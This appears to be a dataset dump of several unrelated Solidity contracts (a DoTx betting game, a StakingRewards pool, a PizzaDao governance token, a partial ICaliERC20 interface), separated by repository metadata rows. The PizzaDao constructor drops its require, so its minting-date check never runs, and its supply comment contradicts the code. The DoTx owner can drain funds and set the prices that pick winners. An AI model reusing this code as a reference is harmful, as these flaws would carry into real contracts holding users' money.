//Switch house for user wars[_warIndex].users[msg.sender].houseTicker = toHouseTicker; //Update fromHouse tickets uint256 ticketsBoughtByUser = wars[_warIndex].users[msg.sender].ticketsBought; fromHouse.ticketsBought = fromHouse.ticketsBought.sub(ticketsBoughtByUser); //Update toHouse tickets toHouse.ticketsBought = toHouse.ticketsBought.add(ticketsBoughtByUser); //Get fees uint256 feesToBePaid = getFeesForSwitchHouse(msg.sender, _warIndex); //Update total fees totalFees = totalFees.add(feesToBePaid); emit SwitchHouse(_warIndex, _fromHouseTicker, _toHouseTicker, msg.sender, feesToBePaid); //Get fees from user wallet dotxToken.transferFrom(msg.sender, address(this), feesToBePaid); } function claimAllRewardAndTickets(uint256[] memory _indexes) public{ for(uint256 i=0; i < _indexes.length; i++){ claimRewardAndTickets(_indexes[i]); } } function claimRewardAndTickets(uint256 _warIndex) public onlyIfCurrentWarFinished(_warIndex) returns(bool) { //Only claim reward one times require(wars[_warIndex].users[msg.sender].rewardClaimed == false, "You already claimed your reward"); //Check if user belongs to winning house require(wars[_warIndex].users[msg.sender].ticketsBought > 0 && wars[_warIndex].users[msg.sender].houseTicker == wars[_warIndex].winningHouse, "User doesn't belong to winning house"); //Set rewardClaimed to true wars[_warIndex].users[msg.sender].rewardClaimed = true; //DoTx in user balance (tickets bought) & reward uint256 reward = getCurrentReward(wars[_warIndex].winningHouse, msg.sender, _warIndex); uint256 balance = getUserDoTxInBalance(_warIndex, msg.sender); dotxToken.transfer(msg.sender, reward.add(balance)); emit ClaimReward(_warIndex, reward, balance, msg.sender, "CLAIM"); } function selectWinner(uint256 _warIndex) public onlyOwner onlyIfCurrentWarFinished(_warIndex) onlyIfPricesFetched(_warIndex) { //require(wars[_warIndex].winningHouse == 0, "Winner already selected"); int256 precision = int256(selectWinnerPrecision); int256 firstHousePerf = dotxLib.calculateHousePerf(int256(wars[_warIndex].firstHouse.openPrice), int256(wars[_warIndex].firstHouse.closePrice), precision); int256 secondHousePerf = dotxLib.calculateHousePerf(int256(wars[_warIndex].secondHouse.openPrice), int256(wars[_warIndex].secondHouse.closePrice), precision); //Set winner house wars[_warIndex].winningHouse = (firstHousePerf > secondHousePerf ? wars[_warIndex].firstHouse : wars[_warIndex].secondHouse).houseTicker; House memory losingHouse = (firstHousePerf > secondHousePerf ? wars[_warIndex].secondHouse : wars[_warIndex].firstHouse); uint256 burnValue = calculateBurnStaking(losingHouse, true, _warIndex); dotxToken.transfer(BURN_ADDRESS, burnValue); emit StakeBurn(_warIndex, burnValue); } function setHouseOpen(uint256 _priceFirst, uint256 _priceSecond, uint256 _warIndex) public onlyOwner { wars[_warIndex].firstHouse.openPrice = _priceFirst; wars[_warIndex].secondHouse.openPrice = _priceSecond; emit openPriceFetched(_warIndex); } function setHouseClose(uint256 _priceFirst, uint256 _priceSecond, uint256 _warIndex, bool _selectWinner) public onlyOwner { wars[_warIndex].firstHouse.closePrice = _priceFirst; wars[_warIndex].secondHouse.closePrice = _priceSecond; emit closePriceFetched(_warIndex); if(_selectWinner){ selectWinner(_warIndex); } } function getUserDoTxInBalance(uint256 _warIndex, address userAddress) public view returns(uint256){ return wars[_warIndex].users[userAddress].ticketsBought.mul(wars[_warIndex].ticketPrice); } function getFeesForSwitchHouse(address userAddress, uint256 _warIndex) public view returns(uint256){ return (getUserDoTxInBalance(_warIndex, userAddress).mul(wars[_warIndex].warFeesPercent)).div(100); } function getUser(uint256 _warIndex, address userAddress) public view returns(User memory){ return wars[_warIndex].users[userAddress]; } function getHouse(uint256 _warIndex, string memory houseTicker) public view returns(House memory){ bytes32 ticker = stringToBytes32(houseTicker); return wars[_warIndex].firstHouse.houseTicker == ticker ? wars[_warIndex].firstHouse : wars[_warIndex].secondHouse; } function getBurnStake(uint256 _warIndex) public view returns(BurnStake memory){ return BurnStake(calculateBurnStaking(wars[_warIndex].firstHouse, true, _warIndex), calculateBurnStaking(wars[_warIndex].secondHouse, true, _warIndex)); } function getWarsHouses(uint256 min, uint256 max) public view returns (WarHouses[] memory){ uint256 count = (max - min) + 1; WarHouses[] memory houses = new WarHouses[](count); uint256 i = min; uint256 index = 0; while(index < count){ houses[index] = (WarHouses(i, wars[i].firstHouse.houseTicker, wars[i].secondHouse.houseTicker, wars[i].startTime, wars[i].duration, wars[i].winningHouse != 0)); i++; index++; } return houses; } function setSelectWinnerPrecision(uint256 _precision) public onlyOwner{ selectWinnerPrecision = _precision; } function setStakingBurnPercentageWar(uint256 _burnPercentage, uint256 _warIndex) public onlyOwner{ wars[_warIndex].burnPercentage = _burnPercentage; } function setStakingBurnPercentage(uint256 _burnPercentage) public onlyOwner{ burnPercentage = _burnPercentage; } function setMultiplicatorWar(int256 _multiplicator, uint256 _warIndex) public onlyOwner{ wars[_warIndex].multiplicator = _multiplicator; } function setMultiplicator(int256 _multiplicator) public onlyOwner{ multiplicator = _multiplicator; } function withdrawFees() public onlyOwner { //Fees from switch house dotxToken.transfer(owner(), totalFees); totalFees = 0; } function setDoTxLibs(address dotxLibAddr, bool setupAddressInLib, address manaPoolAddr, bool setupAddressInPool) public onlyOwner { //DOTX lib mainly uses for Chainlink dotxLibAddress = dotxLibAddr; dotxLib = IDoTxLib(dotxLibAddress); if(setupAddressInLib){ dotxLib.setDoTxGame(address(this)); } //Mana Pool manaPool = IManaPoolContract(manaPoolAddr); if(setupAddressInPool){ manaPool.setDoTxGame(address(this)); } } function getHouseStg(bytes32 ticker, uint256 _warIndex) private view returns(House storage){ return wars[_warIndex].firstHouse.houseTicker == ticker ? wars[_warIndex].firstHouse : wars[_warIndex].secondHouse; } function checkIfHouseInCompetition(bytes32 _houseTicker, uint256 _warIndex) private view returns(bool){ return wars[_warIndex].firstHouse.houseTicker == _houseTicker || wars[_warIndex].secondHouse.houseTicker == _houseTicker; } function getCurrentRewardString(string memory _winningHouse, address userAddress, uint256 _warIndex) public view returns(uint256){ bytes32 winningHouseTicker = stringToBytes32(_winningHouse); return getCurrentReward(winningHouseTicker, userAddress, _warIndex); } function getCurrentReward(bytes32 _winningHouse, address userAddress, uint256 _warIndex) public view returns(uint256){ //Losing house House memory losingHouse = wars[_warIndex].firstHouse.houseTicker == _winningHouse ? wars[_warIndex].secondHouse : wars[_warIndex].firstHouse; //Total DoTx in house's balance uint256 totalDoTxWinningHouse = getHouseStg(_winningHouse, _warIndex).ticketsBought.mul(wars[_warIndex].ticketPrice); uint256 totalDoTxLosingHouse = losingHouse.ticketsBought.mul(wars[_warIndex].ticketPrice).sub(calculateBurnStaking(losingHouse, true, _warIndex)); return dotxLib.calculateReward(getUserDoTxInBalance(_warIndex, userAddress), totalDoTxWinningHouse, totalDoTxLosingHouse); } function calculateBurnStaking(House memory house, bool isBurn, uint256 _warIndex) public view returns(uint256){ uint256 ticketsBoughtValueDoTx = house.ticketsBought.mul(wars[_warIndex].ticketPrice); uint256 percentage = wars[_warIndex].burnPercentage; //Calculate tickets remaining after burn return dotxLib.calculatePercentage(ticketsBoughtValueDoTx, percentage, selectWinnerPrecision); } function stringToBytes32(string memory source) public pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function bytes32ToString(bytes32 x) public pure returns (string memory) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (uint256 j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } function withdrawDoTx(uint256 _amount) public onlyOwner { dotxToken.transfer(owner(), _amount); } }
171,947
12,041
9cb41714c2409c1782082d626f36da25eeb2dbaabc76b6ffcf290712ba707ba5
21,103
.sol
Solidity
false
519123139
JolyonJian/contracts
b48d691ba0c2bfb014a03e2b15bf7faa40900020
contracts/3022_29260_0x6c3e4cb2e96b01f4b866965a91ed4437839a121a.sol
3,344
12,831
pragma solidity ^0.5.16; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } // Inheritancea interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } contract RewardsDistributionRecipient { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } } contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 60 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address _rewardsDistribution, address _rewardsToken, address _stakingToken) public { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); // permit IUniswapV2ERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function stake(uint256 amount) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface IUniswapV2ERC20 { function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; }
230,306
12,042
550ec5bd5cca5eec0e9156e41645f7ead12b692d4eb4fff06585c875638e5011
23,271
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/ad/AD5dc4308A93FF153358A7F8A38075Bc42501be5_PizzaDao.sol
4,166
15,725
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract PizzaDao { /// @notice EIP-20 token name for this token string public constant name = "PizzaDao"; /// @notice EIP-20 token symbol for this token string public constant symbol = "PDAO"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 9; /// @notice Total number of tokens in circulation uint public totalSupply = 50_0e18; // 50 billion PDAO /// @notice Address which may mint new tokens address public minter; /// @notice The timestamp after which minting may occur uint public mintingAllowedAfter; /// @notice Minimum time between mints uint32 public constant minimumTimeBetweenMints = 1 days * 365; /// @notice Cap on the percentage of totalSupply that can be minted at each mint uint8 public constant mintCap = 2; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); constructor(address account, address minter_, uint mintingAllowedAfter_) public { (mintingAllowedAfter_ >= block.timestamp, "PizzaDao::constructor: minting can only begin after deployment"); balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); mintingAllowedAfter = mintingAllowedAfter_; } function setMinter(address minter_) external { require(msg.sender == minter, "PizzaDao::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "PizzaDao::mint: only the minter can mint"); require(block.timestamp >= mintingAllowedAfter, "PizzaDao::mint: minting not allowed yet"); require(dst != address(0), "PizzaDao::mint: cannot transfer to the zero address"); // record the mint mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints); // mint the amount uint96 amount = safe96(rawAmount, "PizzaDao::mint: amount exceeds 96 bits"); require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "PizzaDao::mint: exceeded mint cap"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "PizzaDao::mint: totalSupply exceeds 96 bits"); // transfer the amount to the recipient balances[dst] = add96(balances[dst], amount, "PizzaDao::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); // move delegates _moveDelegates(address(0), delegates[dst], amount); } function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "PizzaDao::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "PizzaDao::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "PizzaDao::permit: invalid signature"); require(signatory == owner, "PizzaDao::permit: unauthorized"); require(block.timestamp <= deadline, "Pizzad::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function balanceOf(address account) external view returns (uint) { return balances[account]; } function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "PizzaDao::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "PizzaDao::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "PizzaDao::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "PizzaDao::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "PizzaDao::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "PizzaDao::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "PizzaDao::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "PizzaDao::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "PizzaDao::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "PizzaDao::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "PizzaDao::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "PizzaDao::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "PizzaDao::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "PizzaDao::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
114,569
12,043
f057a44c50e9e702ef57cd8c7e78fdbff6e2ade58e2f3c2b56b0eda636c4ae14
22,208
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0x6aE6404841D99669069607bC892Ae9eaB939fc7B/contract.sol
4,761
18,594
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.2; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC2612 { function nonces(address owner) external view returns (uint256); } /// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet. interface ICaliERC20 is IERC20, IERC2612 { /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an 